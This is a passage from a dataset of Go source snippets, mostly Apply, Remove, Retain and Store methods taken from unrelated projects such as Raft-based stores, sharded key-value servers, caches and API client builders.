s.raftState == nil {\n\t\treturn fmt.Errorf(\"store not open\")\n\t}\n\treturn s.raftState.apply(b)\n}", "func (c *Context) Apply() (*State, error) {\n\tdefer c.acquireRun(\"apply\")()\n\n\t// Copy our own state\n\tc.state = c.state.DeepCopy()\n\n\t// Build the graph.\n\tgraph, err := c.Graph(GraphTypeApply, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Determine the operation\n\toperation := walkApply\n\tif c.destroy {\n\t\toperation = walkDestroy\n\t}\n\n\t// Walk the graph\n\twalker, err := c.walk(graph, operation)\n\tif len(walker.ValidationErrors) > 0 {\n\t\terr = multierror.Append(err, walker.ValidationErrors...)\n\t}\n\n\t// Clean out any unused things\n\tc.state.prune()\n\n\treturn c.state, err\n}", "func (c *Contract) Apply(ctx TransactionContextInterface, paperNumber string, jeweler string, applyDateTime string, financingAmount int) (*InventoryFinancingPaper, error) {\r\n\tpaper := InventoryFinancingPaper{PaperNumber: paperNumber, Jeweler: jeweler, ApplyDateTime: applyDateTime, FinancingAmount: financingAmount}\r\n\tpaper.SetApplied()\r\n\tpaper.LogPrevState()\r\n\r\n\terr := ctx.GetPaperList().AddPaper(&paper)\r\n\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tfmt.Printf(\"The jeweler %q has applied for a new inventory financingp paper %q, the apply date is %q,the financing amount is %v.\\n Current State is %q\", jeweler, paperNumber, applyDateTime, financingAmount, paper.GetState())\r\n\treturn &paper, nil\r\n}", "func (m *ItemsMutator) Apply() error {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\t*m.target = *m.proxy\n\treturn nil\n}", "func (b *DirCensus) Remove(when interface{}, key Key) Population {\n\tc := b.MemCensus.Remove(when, key)\n\n\tif c.Count == 0 && b.IsRecorded(c.Key) {\n\t\tb.Record(c)\n\t}\n\treturn c\n}", "func (kv *ShardKV) applier() {\n\tfor !kv.killed() {\n\t\tm := <-kv.applyCh\n\t\tkv.mu.Lock()\n\t\tif m.SnapshotValid { //snapshot\n\t\t\tkv.logger.L(logger.ShardKVSnap, \"recv Installsnapshot %v,lastApplied %d\\n\", m.SnapshotIndex, kv.lastApplied)\n\t\t\tif kv.rf.CondInstallSnapshot(m.SnapshotTerm,\n\t\t\t\tm.SnapshotIndex, m.Snapshot) {\n\t\t\t\told_apply := kv.lastApplied\n\t\t\t\tkv.logger.L(logger.ShardKVSnap, \"decide Installsnapshot %v, lastApplied %d\\n\", m.SnapshotIndex, kv.lastApplied)\n\t\t\t\tkv.applyInstallSnapshot(m.Snapshot)\n\t\t\t\tfor i := old_apply + 1; i <= m.SnapshotIndex; i++ {\n\t\t\t\t\tkv.notify(i)\n\t\t\t\t}\n\t\t\t}\n\t\t} else if m.CommandValid && m.CommandIndex == 1+kv.lastApplied {\n\n\t\t\tif v, ok := m.Command.(Command); !ok {\n\t\t\t\t//err\n\t\t\t\tkv.logger.L(logger.ShardKVApply, \"nop apply %#v\\n\", m.Command)\n\t\t\t\t//panic(\"not ok assertion in apply!\")\n\t\t\t} else {\n\t\t\t\tkv.logger.L(logger.ShardKVApply, \"apply index %d, opt %s key %v, num %d lastApplied %d\\n\",\n\t\t\t\t\tm.CommandIndex,\n\t\t\t\t\tTYPE_NAME[v.OptType], v.Key, v.Num, kv.lastApplied)\n\t\t\t\tkv.applyCommand(v) //may ignore duplicate cmd\n\n\t\t\t}\n\t\t\tkv.lastApplied = m.CommandIndex\n\t\t\tif kv.needSnapshot() {\n\t\t\t\tkv.doSnapshotForRaft(m.CommandIndex)\n\t\t\t\tkv.logger.L(logger.ShardKVSnapSize, \"after snapshot, raft size: %d,snap size: %d\\n\",\n\t\t\t\t\tkv.persister.RaftStateSize(), kv.persister.SnapshotSize())\n\t\t\t}\n\t\t\tkv.notify(m.CommandIndex)\n\n\t\t} else if m.CommandValid && m.CommandIndex != 1+kv.lastApplied {\n\t\t\t// out of order cmd, just ignore\n\t\t\tkv.logger.L(logger.ShardKVApply, \"ignore apply %v for lastApplied %v\\n\",\n\t\t\t\tm.CommandIndex, kv.lastApplied)\n\t\t} else {\n\t\t\tkv.logger.L(logger.ShardKVApply, \"Wrong apply msg\\n\")\n\t\t}\n\n\t\tkv.mu.Unlock()\n\t}\n\n}", "func (m *IndexedMap[PrimaryKey, Value, Idx]) Remove(ctx context.Context, pk PrimaryKey) error {\n\terr := m.unref(ctx, pk)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn m.m.Remove(ctx, pk)\n}", "func (c *SetCommand) Apply(server *raft.Server) (interface{}, error) {\n\treturn etcdStore.Set(c.Key, c.Value, c.ExpireTime, server.CommitIndex())\n}", "func (pool *ComplexPool) ApplyCache() error {\n\tif !pool.CacheAvailable {\n\t\treturn fmt.Errorf(\"prox (%p): no cache to revert back to\", pool)\n\t}\n\n\tpool.All = pool.CacheAll\n\tpool.Unused = pool.CacheUnused\n\n\tpool.CacheAvailable = false\n\n\treturn nil\n}", "func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}", "func (kv *ShardKV) ApplyOp(op Op, seqNum int) {\n key := op.Key\n val := op.Value\n doHash := op.DoHash\n id := op.ID\n clientConfigNum := op.ConfigNum\n kvConfigNum := kv.configNum\n shardNum := key2shard(key)\n\n if op.Type != \"Reconfigure\" && (clientConfigNum != kvConfigNum ||\n kv.configs[kvConfigNum].Shards[shardNum] != kv.gid) {\n kv.results[id] = ClientReply{Err:ErrorString}\n return\n }\n\n if op.Type != \"Reconfigure\" {\n DPrintf(\"Group %v servicing shard %v at config %v\", kv.gid, shardNum, kvConfigNum) \n }\n clientID, counter := parseID(id)\n creply, _ := kv.current.dedup[clientID]\n if creply.Counter >= counter && creply.Counter > 0 {\n kv.results[id] = ClientReply{Value:creply.Value, Err:creply.Err, Counter:creply.Counter}\n return\n }\n\n if op.Type == \"Put\" {\n //fmt.Printf(\"Applying put for key %v with value %v at group %v machine %v\\n\", key, val, kv.gid, kv.me)\n prev := kv.storage.Put(key, val, doHash, shardNum, kvConfigNum)\n kv.results[id] = ClientReply{Value:prev, Err:OK, Counter:counter}\n kv.current.dedup[clientID] = ClientReply{Value:prev, Counter: counter, Err:OK}\n } else if op.Type == \"Reconfigure\" {\n _, ok := kv.configs[op.Config.Num]\n if ok || op.Config.Num - kv.configNum != 1 {\n return\n }\n kv.configs[op.Config.Num] = op.Config\n kv.TakeSnapshot(op.Config.Num)\n kv.SyncShards(op.Config.Num)\n } else {\n value := kv.storage.Get(key, shardNum)\n kv.results[id] = ClientReply{Value:value, Err:OK, Counter:counter}\n kv.current.dedup[clientID] = ClientReply{Value:value, Counter: counter, Err:OK}\n }\n}", "func (instance *cache) unsafeCommitEntry(key string, content Cacheable) (ce *Entry, xerr fail.Error) {\n\tif _, ok := instance.reserved[key]; !ok {\n\t\treturn nil, fail.NotAvailableError(\"the cache entry '%s' is not reserved\", key)\n\t}\n\n\t// content may bring new key, based on content.GetID(), than the key reserved; we have to check if this new key has not been reserved by someone else...\n\tif content.GetID() != key {\n\t\tif _, ok := instance.reserved[content.GetID()]; ok {\n\t\t\treturn nil, fail.InconsistentError(\"the cache entry '%s' corresponding to the ID of the content is reserved; content cannot be committed\", content.GetID())\n\t\t}\n\t}\n\n\t// Everything seems ok, we can update\n\tvar ok bool\n\tif ce, ok = instance.cache[key]; ok {\n\t\t// FIXME: this has to be tested with a specific unit test\n\t\terr := content.AddObserver(instance)\n\t\tif err != nil {\n\t\t\treturn nil, fail.ConvertError(err)\n\t\t}\n\t\t// if there was an error after this point we should Remove the observer\n\n\t\tce.content = data.NewImmutableKeyValue(content.GetID(), content)\n\t\t// reserved key may have to change accordingly with the ID of content\n\t\tdelete(instance.cache, key)\n\t\tdelete(instance.reserved, key)\n\t\tinstance.cache[content.GetID()] = ce\n\t\tce.unlock()\n\n\t\treturn ce, nil\n\t}\n\n\treturn nil, fail.NotFoundError(\"failed to find cache entry identified by '%s'\", key)\n}", "func (h Hook) apply(m *Meta) {\n\tm.Hooks = append(m.Hooks, h)\n}", "func (r ApiGetResourcepoolLeaseListRequest) Apply(apply string) ApiGetResourcepoolLeaseListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (this *ObjectRemove) Apply(context Context, first, second value.Value) (value.Value, error) {\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\trv := first.CopyForUpdate()\n\trv.UnsetField(field)\n\treturn rv, nil\n}", "func (r SpanReference) Apply(o *StartSpanOptions) {\n\tif r.ReferencedContext != nil {\n\t\to.References = append(o.References, r)\n\t}\n}", "func (mc *MapChanges) consumeMapChanges(policyMapState MapState) (adds, deletes MapState) {\n\tmc.mutex.Lock()\n\tadds = make(MapState, len(mc.changes))\n\tdeletes = make(MapState, len(mc.changes))\n\n\tfor i := range mc.changes {\n\t\tif mc.changes[i].Add {\n\t\t\t// insert but do not allow non-redirect entries to overwrite a redirect entry,\n\t\t\t// nor allow non-deny entries to overwrite deny entries.\n\t\t\t// Collect the incremental changes to the overall state in 'mc.adds' and 'mc.deletes'.\n\t\t\tpolicyMapState.denyPreferredInsertWithChanges(mc.changes[i].Key, mc.changes[i].Value, adds, deletes)\n\t\t} else {\n\t\t\t// Delete the contribution of this cs to the key and collect incremental changes\n\t\t\tfor cs := range mc.changes[i].Value.selectors { // get the sole selector\n\t\t\t\tpolicyMapState.deleteKeyWithChanges(mc.changes[i].Key, cs, adds, deletes)\n\t\t\t}\n\t\t}\n\t}\n\tmc.changes = nil\n\tmc.mutex.Unlock()\n\treturn adds, deletes\n}", "func (r *recursiveCteIter) store(row sql.Row, key uint64) {\n\tif r.deduplicate {\n\t\tr.cache.Put(key, struct{}{})\n\t}\n\tr.temp = append(r.temp, row)\n\treturn\n}", "func (s HelpAppUpdateArray) Retain(keep func(x HelpAppUpdate) bool) HelpAppUpdateArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (r ApiGetResourcepoolLeaseResourceListRequest) Apply(apply string) ApiGetResourcepoolLeaseResourceListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (m *systrayMap) Decref(id refId) {\n\tm.lock.RLock()\n\tref, ok := m.m[id]\n\tm.lock.RUnlock()\n\n\tif !ok {\n\t\treturn\n\t}\n\n\trefs := atomic.AddUint32(&ref.refs, ^uint32(0))\n\t// fmt.Printf(\"storage: Decref %v to %d\\n\", ref, refs)\n\tif refs != 0 {\n\t\treturn\n\t}\n\n\tm.lock.Lock()\n\tif atomic.LoadUint32(&ref.refs) == 0 {\n\t\t// fmt.Printf(\"storage: Deleting %v\\n\", ref)\n\t\tdelete(m.m, id)\n\t}\n\tm.lock.Unlock()\n}", "func (r ApiGetHyperflexVmRestoreOperationListRequest) Apply(apply string) ApiGetHyperflexVmRestoreOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (p *ClusterProvider) Apply() error {\n\t// This return nil for existing cluster\n\treturn nil\n}", "func (a *Applier) Apply(ctx context.Context, step *Step) (retErr error) {\n\tvar db *kv.DB\n\tdb, step.DBID = a.getNextDBRoundRobin()\n\n\tstep.Before = db.Clock().Now()\n\tdefer func() {\n\t\tstep.After = db.Clock().Now()\n\t\tif p := recover(); p != nil {\n\t\t\tretErr = errors.Errorf(`panic applying step %s: %v`, step, p)\n\t\t}\n\t}()\n\tapplyOp(ctx, db, &step.Op)\n\treturn nil\n}", "func (wm *WatchMap) Store(key schema.GroupVersionKind) {\n\twm.mutex.Lock()\n\tdefer wm.mutex.Unlock()\n\twm.internal[key] = nil\n}", "func (rc *BypassRevisionCache) Put(docID string, docRev DocumentRevision) {\n\t// no-op\n}", "func (fdb *fdbSlice) insert(k Key, v Value, workerId int) {\n\n\tvar err error\n\tvar oldkey Key\n\n\tcommon.Tracef(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Set Key - %s \"+\n\t\t\"Value - %s\", fdb.id, fdb.idxInstId, k, v)\n\n\t//check if the docid exists in the back index\n\tif oldkey, err = fdb.getBackIndexEntry(v.Docid(), workerId); err != nil {\n\t\tfdb.checkFatalDbError(err)\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error locating \"+\n\t\t\t\"backindex entry %v\", fdb.id, fdb.idxInstId, err)\n\t\treturn\n\t} else if oldkey.EncodedBytes() != nil {\n\t\t//TODO: Handle the case if old-value from backindex matches with the\n\t\t//new-value(false mutation). Skip It.\n\n\t\t//there is already an entry in main index for this docid\n\t\t//delete from main index\n\t\tif err = fdb.main[workerId].DeleteKV(oldkey.EncodedBytes()); err != nil {\n\t\t\tfdb.checkFatalDbError(err)\n\t\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error deleting \"+\n\t\t\t\t\"entry from main index %v\", fdb.id, fdb.idxInstId, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t//If secondary-key is nil, no further processing is required. If this was a KV insert,\n\t//nothing needs to be done. If this was a KV update, only delete old back/main index entry\n\tif v.KeyBytes() == nil {\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Received NIL secondary key. \"+\n\t\t\t\"Skipped Key %s. Value %s.\", fdb.id, fdb.idxInstId, k, v)\n\t\treturn\n\t}\n\n\t//set the back index entry <docid, encodedkey>\n\tif err = fdb.back[workerId].SetKV([]byte(v.Docid()), k.EncodedBytes()); err != nil {\n\t\tfdb.checkFatalDbError(err)\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error in Back Index Set. \"+\n\t\t\t\"Skipped Key %s. Value %s. Error %v\", fdb.id, fdb.idxInstId, v, k, err)\n\t\treturn\n\t}\n\n\t//set in main index\n\tif err = fdb.main[workerId].SetKV(k.EncodedBytes(), v.EncodedBytes()); err != nil {\n\t\tfdb.checkFatalDbError(err)\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error in Main Index Set. \"+\n\t\t\t\"Skipped Key %s. Value %s. Error %v\", fdb.id, fdb.idxInstId, k, v, err)\n\t\treturn\n\t}\n\n}", "func (c *summaryCache) refresh(current map[string]*eventsStatementsSummaryByDigest) {\n\tc.rw.Lock()\n\tdefer c.rw.Unlock()\n\n\tnow := time.Now()\n\n\tfor k, t := range c.added {\n\t\tif now.Sub(t) > c.retain {\n\t\t\tdelete(c.items, k)\n\t\t\tdelete(c.added, k)\n\t\t}\n\t}\n\n\tfor k, v := range current {\n\t\tc.items[k] = v\n\t\tc.added[k] = now\n\t}\n}", "func (s *Store) Apply(log *raft.Log) interface{} {\n\tvar c command\n\tif err := json.Unmarshal(log.Data, &c); err != nil {\n\t\tpanic(fmt.Sprintf(\"Failed to unmarshal command: %s\", err.Error()))\n\t}\n\n\tswitch c.Op {\n\tcase \"SET\":\n\t\treturn s.applySet(c.Key, c.Val)\n\tcase \"DELETE\":\n\t\treturn s.applyDelete(c.Key)\n\tdefault:\n\t\treturn fmt.Sprintf(\"Unsupported operation: %s\", c.Op)\n\t}\n\n\treturn nil\n}", "func(s *SetImp) Apply(t Target, a Action) os.Error {\n\tif err := t.ApplyPreq(a); err != nil { return err }\n\tif err := t.Apply(a); err != nil { return err }\n\treturn nil\n}", "func (r ApiGetHyperflexBackupClusterListRequest) Apply(apply string) ApiGetHyperflexBackupClusterListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (db *StakeDatabase) applyDiff(poolDiff PoolDiff, inVals []int64) {\n\tdb.liveTicketMtx.Lock()\n\tfor i, hash := range poolDiff.In {\n\t\t_, ok := db.liveTicketCache[hash]\n\t\tif ok {\n\t\t\tlog.Warnf(\"Just tried to add a ticket (%v) to the pool, but it was already there!\", hash)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar val int64\n\t\tif inVals == nil {\n\t\t\ttx, err := db.NodeClient.GetRawTransaction(context.TODO(), &hash)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"Unable to get transaction %v: %v\\n\", hash, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tval = tx.MsgTx().TxOut[0].Value\n\t\t} else {\n\t\t\tval = inVals[i]\n\t\t}\n\n\t\tdb.liveTicketCache[hash] = val\n\t\tdb.poolValue += val\n\t}\n\n\tfor _, h := range poolDiff.Out {\n\t\tvalOut, ok := db.liveTicketCache[h]\n\t\tif !ok {\n\t\t\tlog.Debugf(\"Didn't find %v in live ticket cache, cannot remove it.\", h)\n\t\t\tcontinue\n\t\t}\n\t\tdb.poolValue -= valOut\n\t\tdelete(db.liveTicketCache, h)\n\t}\n\tdb.liveTicketMtx.Unlock()\n}", "func (a KubectlLayerApplier) Apply(ctx context.Context, layer layers.Layer) (err error) {\n\tlogging.TraceCall(a.getLog(layer))\n\tdefer logging.TraceExit(a.getLog(layer))\n\ta.logDebug(\"applying\", layer)\n\n\tsourceHrs, err := a.getSourceHelmReleases(layer)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to get source helm releases\", logging.CallerStr(logging.Me))\n\t}\n\n\terr = a.applyHelmReleaseObjects(ctx, layer, sourceHrs)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to apply helmrelease objects\", logging.CallerStr(logging.Me))\n\t}\n\n\thrs, err := a.getSourceHelmRepos(layer)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to get source helm repos\", logging.CallerStr(logging.Me))\n\t}\n\n\terr = a.applyHelmRepoObjects(ctx, layer, hrs)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to apply helmrepo objects\", logging.CallerStr(logging.Me))\n\t}\n\treturn nil\n}", "func (r *HistoryRunner) Apply(ctx context.Context) (err error) {\n\t// save history on exit\n\tbeforeLen := r.hc.HistoryLength()\n\tdefer func() {\n\t\t// if the number of records in history doesn't change,\n\t\t// we don't want to update a timestamp of history file.\n\t\tafterLen := r.hc.HistoryLength()\n\t\tlog.Printf(\"[DEBUG] [runner] length of history records: beforeLen = %d, afterLen = %d\\n\", beforeLen, afterLen)\n\t\tif beforeLen == afterLen {\n\t\t\treturn\n\t\t}\n\n\t\t// be sure not to overwrite an original error generated by outside of defer\n\t\tlog.Print(\"[INFO] [runner] save history\\n\")\n\t\tserr := r.hc.Save(ctx)\n\t\tif serr == nil {\n\t\t\tlog.Print(\"[INFO] [runner] history saved\\n\")\n\t\t\treturn\n\t\t}\n\n\t\t// return a named error from defer\n\t\tlog.Printf(\"[ERROR] [runner] failed to save history. The history may be inconsistent\\n\")\n\t\tif err == nil {\n\t\t\terr = fmt.Errorf(\"apply succeed, but failed to save history: %v\", serr)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"failed to save history: %v, failed to apply: %v\", serr, err)\n\t}()\n\n\tif len(r.filename) != 0 {\n\t\t// file mode\n\t\terr = r.applyFile(ctx, r.filename)\n\t\treturn err\n\t}\n\n\t// directory mode\n\terr = r.applyDir(ctx)\n\treturn err\n}", "func (s *Scope) Apply(f func()) {\n\ts.Call(\"$apply\", f)\n}", "func (cc *Cache) Set(attrs attribute.Bag, value Value) {\n\tnow := cc.getTime()\n\tif value.Expiration.Before(now) {\n\t\t// value is already expired, don't add it\n\t\tcc.recordStats()\n\t\treturn\n\t}\n\n\tcc.keyShapesLock.RLock()\n\tshapes := cc.keyShapes\n\tcc.keyShapesLock.RUnlock()\n\n\t// find a matching key shape\n\tfor _, shape := range shapes {\n\t\tif shape.isCompatible(attrs) {\n\t\t\tcc.cache.SetWithExpiration(shape.makeKey(attrs), value, value.Expiration.Sub(now))\n\t\t\tcc.recordStats()\n\t\t\treturn\n\t\t}\n\t}\n\n\tshape := newKeyShape(value.ReferencedAttributes, cc.globalWords)\n\n\t// Note that there's TOCTOU window here, but it's OK. It doesn't hurt that multiple\n\t// equivalent keyShape entries may appear in the slice.\n\tcc.keyShapesLock.Lock()\n\tcc.keyShapes = append(cc.keyShapes, shape)\n\tcc.keyShapesLock.Unlock()\n\n\tcc.cache.SetWithExpiration(shape.makeKey(attrs), value, value.Expiration.Sub(now))\n\tcc.recordStats()\n}", "func (pool *WorkerPool) Apply(fn taskFunc) {\n\tworker := pool.ApplyWorker()\n\tgo func() {\n\t\tdefer pool.RecycleWorker(worker)\n\t\tfn()\n\t}()\n}", "func (k *kubectlContext) Apply(args ...string) error {\n\tout, err := k.do(append([]string{\"apply\"}, args...)...)\n\tk.t.Log(string(out))\n\treturn err\n}", "func (t *typeReference) Apply(key string, value interface{}, ctx *ParsingContext) (bool, error) {\n\tref, ok := ctx.Current.(*VocabularyReference)\n\tif !ok {\n\t\t// May be during resolve reference phase -- nothing to do.\n\t\treturn true, nil\n\t}\n\tref.Name = t.t.GetName()\n\tref.URI = t.t.URI\n\tref.Vocab = t.vocabName\n\treturn true, nil\n}", "func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (graph *graphRW) Release() {\n\tif graph.record && graph.parent.recordOldRevs {\n\t\tgraph.parent.rwLock.Lock()\n\t\tdefer graph.parent.rwLock.Unlock()\n\n\t\tdestGraph := graph.parent.graph\n\t\tfor key, dataUpdated := range graph.newRevs {\n\t\t\tnode, exists := destGraph.nodes[key]\n\t\t\tif _, hasTimeline := destGraph.timeline[key]; !hasTimeline {\n\t\t\t\tif !exists {\n\t\t\t\t\t// deleted, but never recorded => skip\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tdestGraph.timeline[key] = []*RecordedNode{}\n\t\t\t}\n\t\t\trecords := destGraph.timeline[key]\n\t\t\tif len(records) > 0 {\n\t\t\t\tlastRecord := records[len(records)-1]\n\t\t\t\tif lastRecord.Until.IsZero() {\n\t\t\t\t\tlastRecord.Until = time.Now()\n\t\t\t\t}\n\t\t\t}\n\t\t\tif exists {\n\t\t\t\tdestGraph.timeline[key] = append(records,\n\t\t\t\t\tdestGraph.recordNode(node, !dataUpdated))\n\t\t\t}\n\t\t}\n\n\t\t// remove past revisions from the log which are too old to keep\n\t\tnow := time.Now()\n\t\tsinceLastTrimming := now.Sub(graph.parent.lastRevTrimming)\n\t\tif sinceLastTrimming >= oldRevsTrimmingPeriod {\n\t\t\tfor key, records := range destGraph.timeline {\n\t\t\t\tvar i, j int // i = first after init period, j = first after init period to keep\n\t\t\t\tfor i = 0; i < len(records); i++ {\n\t\t\t\t\tsinceStart := records[i].Since.Sub(graph.parent.startTime)\n\t\t\t\t\tif sinceStart > graph.parent.permanentInitPeriod {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor j = i; j < len(records); j++ {\n\t\t\t\t\tif records[j].Until.IsZero() {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\telapsed := now.Sub(records[j].Until)\n\t\t\t\t\tif elapsed <= graph.parent.recordAgeLimit {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif j > i {\n\t\t\t\t\tcopy(records[i:], records[j:])\n\t\t\t\t\tnewLen := len(records) - (j - i)\n\t\t\t\t\tfor k := newLen; k < len(records); k++ {\n\t\t\t\t\t\trecords[k] = nil\n\t\t\t\t\t}\n\t\t\t\t\tdestGraph.timeline[key] = records[:newLen]\n\t\t\t\t}\n\t\t\t\tif len(destGraph.timeline[key]) == 0 {\n\t\t\t\t\tdelete(destGraph.timeline, key)\n\t\t\t\t}\n\t\t\t}\n\t\t\tgraph.parent.lastRevTrimming = now\n\t\t}\n\t}\n}", "func (pred *NotEqPredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s != ?\", pred.Column.Name()))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}", "func (client *Client) Retain(ctx context.Context, req *pb.RetainRequest) (err error) {\n\tdefer mon.Task()(&ctx)(&err)\n\t_, err = client.client.Retain(ctx, req)\n\treturn Error.Wrap(err)\n}", "func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}", "func (p *ArgsEnvsCacheEntry) Retain() {\n\tp.refCount++\n}", "func (s MessagesFavedStickersArray) Retain(keep func(x MessagesFavedStickers) bool) MessagesFavedStickersArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (v *Float64Value) Apply(apply func(value float64)) {\n\tif v.fs.Changed(v.name) {\n\t\tapply(v.value)\n\t}\n}", "func (entry *TableEntry) ApplyCommit() (err error) {\n\terr = entry.BaseEntryImpl.ApplyCommit()\n\tif err != nil {\n\t\treturn\n\t}\n\t// It is not wanted that a block spans across different schemas\n\tif entry.isColumnChangedInSchema() {\n\t\tentry.FreezeAppend()\n\t}\n\t// update the shortcut to the lastest schema\n\tentry.TableNode.schema.Store(entry.GetLatestNodeLocked().BaseNode.Schema)\n\treturn\n}", "func (t *Tree) Keep(name string) error {\n\tlogrus.Infof(\"Keeping %s\", name)\n\tleaf, ok := t.packageMap[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"package %s not found\", name)\n\t}\n\tleaf.keep = true\n\tleaf.userKeep = true\n\tt.packageMap[name] = leaf\n\treturn nil\n}", "func (t *TaskStore) applySingleDiff(diff updateDiff, readonly bool) {\n\t// If readonly, then we mutate only the temporary maps.\n\t// Regardless of that status, we always update the heaps.\n\tot := t.getTask(diff.OldID)\n\tnt := diff.NewTask\n\n\tif ot != nil {\n\t\tdelete(t.tmpTasks, ot.ID)\n\t\tt.heapPop(ot.Group, ot.ID)\n\t\tif readonly {\n\t\t\tt.delTasks[ot.ID] = true\n\t\t} else {\n\t\t\tdelete(t.tasks, ot.ID)\n\t\t}\n\t}\n\tif nt != nil {\n\t\tif readonly {\n\t\t\tt.tmpTasks[nt.ID] = nt\n\t\t} else {\n\t\t\tt.tasks[nt.ID] = nt\n\t\t}\n\t\tt.heapPush(nt)\n\t}\n}", "func Retain[T any](slice []T, fn func(v T) bool) []T {\n\tvar j int\n\tfor _, v := range slice {\n\t\tif fn(v) {\n\t\t\tslice[j] = v\n\t\t\tj++\n\t\t}\n\t}\n\treturn slice[:j]\n}", "func (c *doubleCacheBuffer[T]) evict(newTs uint64) {\n\tc.tail = c.head\n\tc.head = newDoubleCacheItem[T](newTs, c.maxSize/2)\n\tc.ts = c.tail.headTs\n}", "func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\n\tctx := server.Context().(ServerContext)\n\tdb := ctx.Server.db\n\tdb.Put(c.Key, c.Value)\n\treturn nil, nil\n}", "func (s EncryptedChatDiscardedArray) Retain(keep func(x EncryptedChatDiscarded) bool) EncryptedChatDiscardedArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (dm *DCOSMetadata) Apply(in ...telegraf.Metric) []telegraf.Metric {\n\t// stale tracks whether our container cache is stale\n\tstale := false\n\n\t// track unrecognised container ids\n\tnonCachedIDs := map[string]bool{}\n\n\tfor _, metric := range in {\n\t\t// Ignore metrics without container_id tag\n\t\tif cid, ok := metric.Tags()[\"container_id\"]; ok {\n\t\t\tif c, ok := dm.containers[cid]; ok {\n\t\t\t\t// Data for this container was cached\n\t\t\t\tfor k, v := range c.taskLabels {\n\t\t\t\t\tmetric.AddTag(k, v)\n\t\t\t\t}\n\t\t\t\tmetric.AddTag(\"service_name\", c.frameworkName)\n\t\t\t\tif c.executorName != \"\" {\n\t\t\t\t\tmetric.AddTag(\"executor_name\", c.executorName)\n\t\t\t\t}\n\t\t\t\tmetric.AddTag(\"task_name\", c.taskName)\n\t\t\t} else {\n\t\t\t\tnonCachedIDs[cid] = true\n\t\t\t\tstale = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif stale {\n\t\tcids := []string{}\n\t\tfor cid := range nonCachedIDs {\n\t\t\tcids = append(cids, cid)\n\t\t}\n\t\tgo dm.refresh(cids...)\n\t}\n\n\treturn in\n}", "func Drain() map[int]*update.UpdateEntry {\n\told := currentQueue\n\tcurrentQueue = make(map[int]*update.UpdateEntry)\n\tfor k, v := range old 